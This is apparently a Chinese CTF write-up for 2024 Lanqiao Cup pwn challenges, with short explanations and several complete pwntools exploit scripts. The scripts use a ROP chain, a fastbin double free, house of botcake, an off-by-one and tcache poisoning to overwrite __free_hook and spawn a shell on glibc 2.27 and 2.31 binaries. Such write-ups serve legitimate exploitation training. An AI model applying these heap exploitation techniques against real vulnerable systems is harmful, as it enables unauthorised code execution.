2024蓝桥杯

题目复现,也是有一定的收获,基本就是堆块错位的利用,没有uaf的话需要提取布置好size,有的话直接打

线上

第一题

签到题,$0绕过检测,重定向输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

rl("restricted stack.")
sl(b'$0\x00')

sh=0x601090
rl("...")
rdi=0x0000000000400933
payload=b'a'*(0x20+8)+p64(rdi)+p64(sh)+p64(rdi+1)+p64(elf.plt['system'])
s(payload)





inter()

第二题

只有一次uaf

2.31,add,free,edit,show四个功能函数

add固定只能申请0x50大小堆块

只存在一个漏洞

这里用到一个整理机制,tcachebin中不可以double free,但fastbin中可以,我们可以在fastbin中完成double free,先将tcachebin中的堆块清除,当我们申请一个堆块时,就会触发堆块分配进制,完成tcachebin attack

https://www.yuque.com/xiachi/rx5cxd/fnnowgt0q7z7spst

我们提前布置好size,造成堆块错位,之后我们可以去修改下一个堆块的size,使其合并,free大堆块后,在申请一个小堆块,也就是导致错位的堆块,得到libc地址,再次利用这个错位堆块,去修改bins中的fd位,攻击free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

def add(content):
rl("4.exit")
sl(str(1))
sleep(0.1)
s(content)
def free(i):
rl("4.exit")
sl(str(2))
sleep(0.1)
sl(str(i))
def show(i):
rl("4.exit")
sl(str(3))
sleep(0.1)
sl(str(i))
def uaf(i):
rl("4.exit")
sl(str(2106373))
sleep(0.1)
sl(str(i))

add(b'a')
add(p64(0)*5+p64(0x61))
for i in range(12):#2-13
add(b'a')
for i in range(9):
free(i+2)
uaf(0)
free(1)
free(0)

for i in range(7):#0-6
add(b'b')

add(b'\x30')

add(b'a')
add(b'a')
add(p64(0)*5+p64(0x421))
free(6)
add(b'a')
show(6)
libc_base=get_addr64()-2019169
li(hex(libc_base))
system,bin_sh=get_sb()
malloc_hook,free_hook=get_hook()

free(11)
free(6)
free(10)
#bug()
add(p64(0)*5+p64(0x61)+p64(free_hook))
add(b'/bin/sh\x00')
add(p64(system))
#bug()
free(10)
inter()

线下

第一题

2.27的of by one

add,free,edit,show四个功能函数,add只能申请<0x100的堆块

开局一个伪随机数绕过,直接绕之后house of botcake泄露libc地址,of by one造成堆块重叠后攻击bins中的fd位为free_hook,最后get_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.27.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
passwd = []
rl("a simple classic question")
elf1=ctypes.CDLL("./libc-2.27.so")
elf1.srand(elf1.time(0))
for i in range(7):
passwd.append(chr(elf1.rand() % 80 + 32)) # 转换为字符并加入列表
string="".join(passwd)
print(string)
rl("please login >>>>")
payload=string
sl(payload)


def add(idx,size):
rl(":")
sl(str(1))
rl("Index: ")
sl(str(idx))
rl("Size ")
sl(str(size))

def edit(idx,c):
rl(":")
sl(str(2))
rl("Index: ")
sl(str(idx))
rl("Content: ")
s(c)

def show(idx):
rl(":")
sl(str(3))
rl("Index: ")
sl(str(idx))

def free(idx):
rl(":")
sl(str(4))
rl("Index: ")
sl(str(idx))
for i in range(10):#0-9
add(i,0xa8)
for i in range(7):
free(i)
free(7)
add(10,0x28)
show(10)
libc_base=get_addr64()-4111680
li(hex(libc_base))
malloc_hook,free_hook=get_hook()
system,bin_sh=get_sb()
add(11,0x78)

add(12,0x18)
add(13,0x68)
add(14,0x68)
add(15,0x68)
add(16,0x18)

edit(12,b'\x00'*0x18+p8(0xe1))
free(13)
add(17,0xd8)
free(15)
free(14)
edit(17,b'\x00'*0x68+p64(0x71)+p64(free_hook)+b'\n')


add(18,0x68)
add(19,0x68)
edit(18,b'/bin/sh\x00'+b'\n')
edit(19,p64(system)+b'\n')

#bug()
free(18)
inter()

第二题

2.31堆

add,free,edit,show

存在uaf,add只能申请<0x60的堆块

中间可以申请一次大堆块,正解应该是堆块错位后覆盖size,free大堆块进入unsortdbin,得到libc地址,之后tcachebin attack攻击free_hook

还可以攻击tcachebin的指针区,修改0x290的bins的counts为7,再将指针区作为堆块申请出来,free后进入unsortdbin,show得到libc地址,tcacheBin attack攻击free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

def add(i,size):
rl(">> ")
sl(str(1))
rl("index: ")
sl(str(i))
rl("size: ")
sl(str(size))
def free(i):
rl(">> ")
sl(str(2))
rl("index: ")
sl(str(i))
def show(i):
rl(">> ")
sl(str(4))
rl("index: ")
sl(str(i))
def edit(i,content):
rl(">> ")
sl(str(3))
rl("index: ")
sl(str(i))
rl("contents: ")
s(content)

add(0,0x58)
add(1,0x58)
add(2,0x58)
add(3,0x48)
add(4,0x48)
add(5,0x18)

free(0)
free(1)
show(1)
a=p.recv(6)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
li(hex(heap_base))

edit(1,p64(heap_base+0x30)+b'\n')
add(6,0x58)
add(7,0x58)
edit(7,p64(0)*5+p64(0x7000000000000)+b'\n')

free(4)
free(3)
edit(3,p64(heap_base+0x10)+b'\n')
add(8,0x48)
add(9,0x48)
free(9)
show(9)
libc_base=get_addr64()-2014176
li(hex(libc_base))
system,bin_sh=get_sb()
malloc_hook,free_hook=get_hook()
edit(9,p64(0)*5+b'\n')
free(2)
free(1)

edit(1,p64(free_hook)+b'\n')
add(10,0x58)
add(11,0x58)
edit(10,b'/bin/sh\x00\n')
edit(11,p64(system)+b'\n')
bug()

free(10)

inter()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')

def add(i,size):
rl(">> ")
sl(str(1))
rl("index: ")
sl(str(i))
rl("size: ")
sl(str(size))
def free(i):
rl(">> ")
sl(str(2))
rl("index: ")
sl(str(i))
def show(i):
rl(">> ")
sl(str(4))
rl("index: ")
sl(str(i))
def edit(i,content):
rl(">> ")
sl(str(3))
rl("index: ")
sl(str(i))
rl("contents: ")
s(content)
def add2(size):
rl(">> \n")
sl(str(555))
rl("find me\n")
sl(str(size))


add(0,0x60)
add(1,0x60)
add2(0x400)
add(2,0x60)

free(1)
free(0)
bug()
edit(0,b'\n')
add(3,0x60)
add(4,0x60)
edit(4,p64(0)+p64(0x481)+b'\n')
free(1)
show(1)
libc_base=get_addr64()-2014176
li(hex(libc_base))
system,bin_sh=get_sb()
malloc_hook,free_hook=get_hook()

add(5,0x60)
free(5)
free(2)

edit(2,p64(free_hook)+b'\n')
add(6,0x60)
add(7,0x60)
edit(6,b'/bin/sh\x00\n')
edit(7,p64(system)+b'\n')
bug()

free(6)

inter()